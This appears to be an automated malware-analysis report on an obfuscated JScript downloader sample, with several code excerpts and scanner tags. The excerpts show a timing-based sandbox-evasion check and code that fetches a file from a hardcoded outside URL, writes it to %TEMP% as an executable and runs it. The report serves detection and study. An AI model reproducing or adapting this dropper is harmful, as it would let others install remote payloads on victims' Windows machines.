Suspicious ^66% javascript-malware-collection Download

20160329_5662a087397ec0ee64aeff201fd48e56.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256abf7187a2e16c837e71220254578f03fb2b102f3926abc749637a8098972db63

Evidence

UTC millisecond jitter sleep check lines 1–36

1var Poaamauqe = false;
2var Swkvtgnmt = "CreateObject";
3var Qmclmp = function Ytlzjo() {return WScript[Swkvtgnmt]("WScript.Shell");}();
4var Gyfbjj = 123213;
5var Bdlpjbxp = "MSXML2.XMLHTTP";
6var Hfmhvltp = 2123213;
7var Lgsncl = 0;
8function Loumhra(Qxjkbiaj){Qmclmp["Run"](Qxjkbiaj, Lgsncl, Lgsncl);};
9function Ifzckmay(){return Bdlpjbxp;};
10function Wkhdpnd(Rkokdtu, Bccjhvjo){return Rkokdtu - Bccjhvjo;};
11function Cnueeelwl(){return Swkvtgnmt;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Poaamauqe = true;
15  @end
⋯6 lines
22function Wqgtbv()
23{
24var Fgbmik = new this["Date"]();
25var Hdqgy = Fgbmik["getUTCMilliseconds"]();
26WScript["Sleep"](Tbmczemh());
27var Fgbmik = new this["Date"]();
⋯9 lines

English function-word token "for" lines 37–42

37:37… 
38}
39var Sycnmghqq = false;
40var Sclkc = false;
41for (var Kvwawiqd = Lgsncl; Kvwawiqd < Tbmczemh() * 1; Kvwawiqd++){if (Wqgtbv() != Lgsncl){
42Sycnmghq …

Contains a hardcoded insecure HTTP URL lines 49–63

49:6… ycnmghqq && Dnhrezozg() && Sclkc){
50function Vmbpetnr() {return Qmclmp["ExpandEnvironmentStrings"]("%TEMP%/") + "MgfalWXMs8t.exe";};
51 Xdtqivny = Ifzckmay();
52 Tvfgmw = WScript[Swkvtgnmt](Xdtqivny);
53 var Ozeguay = 1;
54 while (Ozeguay){
55try {
56Tvfgmw[Idzfxlouu]("GET", "http://energyunlimited.co.nz/o2apf", false);
57Tvfgmw["send"]();
58Lrsgzp = "Sleep";
59do {WScript[Lrsgzp](Tbmczemh() * 11)} while (Tvfgmw["readystate"] < 2 * 2);
60Ozeguay = Lgsncl;
61} catch(Mbxaiskmwe){Ozeguay = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Doyla(Kahlctov) {var M …

Calls computed member from function result lines 63–75

63:38… = (1, 2, 3, 4, 5, Kahlctov); return Mcpspx;};
64Wlbjeef = WScript[Cnueeelwl()]("ADODB.Stream");
65Xdtqivny = Wlbjeef;
66Xdtqivny[Idzfxlouu]();
67Xdtqivny["type"] = Doyla(1);
68Xdtqivny["write"](Tvfgmw["ResponseBody"]);
69Wlbjeef["position"] = Doyla(Lgsncl);
70Xdtqivny["Save" + "ToFile"](Vmbpetnr(), 2);
71Wlbjeef["close"]();
72Loumhra(Vmbpetnr());
73}
74}
75